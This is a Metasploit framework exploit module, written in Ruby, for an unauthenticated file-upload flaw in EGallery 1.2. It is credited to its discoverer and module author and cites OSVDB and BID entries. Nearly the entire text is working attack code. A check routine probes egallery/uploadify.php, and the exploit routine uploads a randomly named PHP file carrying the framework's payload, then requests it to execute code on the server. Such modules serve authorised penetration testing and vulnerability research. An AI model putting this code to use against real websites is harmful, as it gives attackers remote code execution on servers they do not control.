EGallery PHP File Upload Vulnerability

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "EGallery PHP File Upload Vulnerability",  
'Description' => %q{  
This module exploits a vulnerability found in EGallery 1.2 By abusing the  
uploadify.php file, a malicious user can upload a file to the egallery/ directory  
without any authentication, which results in arbitrary code execution. The module  
has been tested successfully on Ubuntu 10.04.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Sammy FORGIT', # Discovery, PoC  
'juan' # Metasploit module  
],  
'References' =>  
[  
['OSVDB', '83891'],  
['BID', '54464'],  
['URL', 'http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html']  
],  
'Payload' =>  
{  
'BadChars' => "\x00"  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "none"  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['EGallery 1.2', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Jul 08 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample'])  
], self.class)  
end  
  
def check  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{uri}egallery/uploadify.php"  
})  
  
if res and res.code == 200 and res.body.empty?  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
  
peer = "#{rhost}:#{rport}"  
payload_name = rand_text_alpha(rand(10) + 5) + '.php'  
boundary = Rex::Text.rand_text_hex(7)  
  
post_data = "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n\r\n"  
post_data << "#{payload_name}\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"folder\"\r\n\r\n"  
post_data << "#{uri}\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"  
post_data << "<?php "  
post_data << payload.encoded  
post_data << " ?>\r\n"  
post_data << "--#{boundary}--\r\n"  
  
print_status("#{peer} - Sending PHP payload (#{payload_name})")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{uri}egallery/uploadify.php",  
'ctype' => "multipart/form-data; boundary=#{boundary}",  
'data' => post_data  
})  
  
# If the server returns 200 and the body contains our payload name,  
# we assume we uploaded the malicious file successfully  
if not res or res.code != 200 or res.body !~ /#{payload_name}/  
print_error("#{peer} - File wasn't uploaded, aborting!")  
return  
end  
  
print_status("#{peer} - Executing PHP payload (#{payload_name})")  
# Execute our payload  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{uri}#{payload_name}"  
})  
  
# If we don't get a 200 when we request our malicious payload, we suspect  
# we don't have a shell, either. Print the status code for debugging purposes.  
if res and res.code != 200  
print_status("#{peer} - Server returned #{res.code.to_s}")  
end  
end  
  
end  
`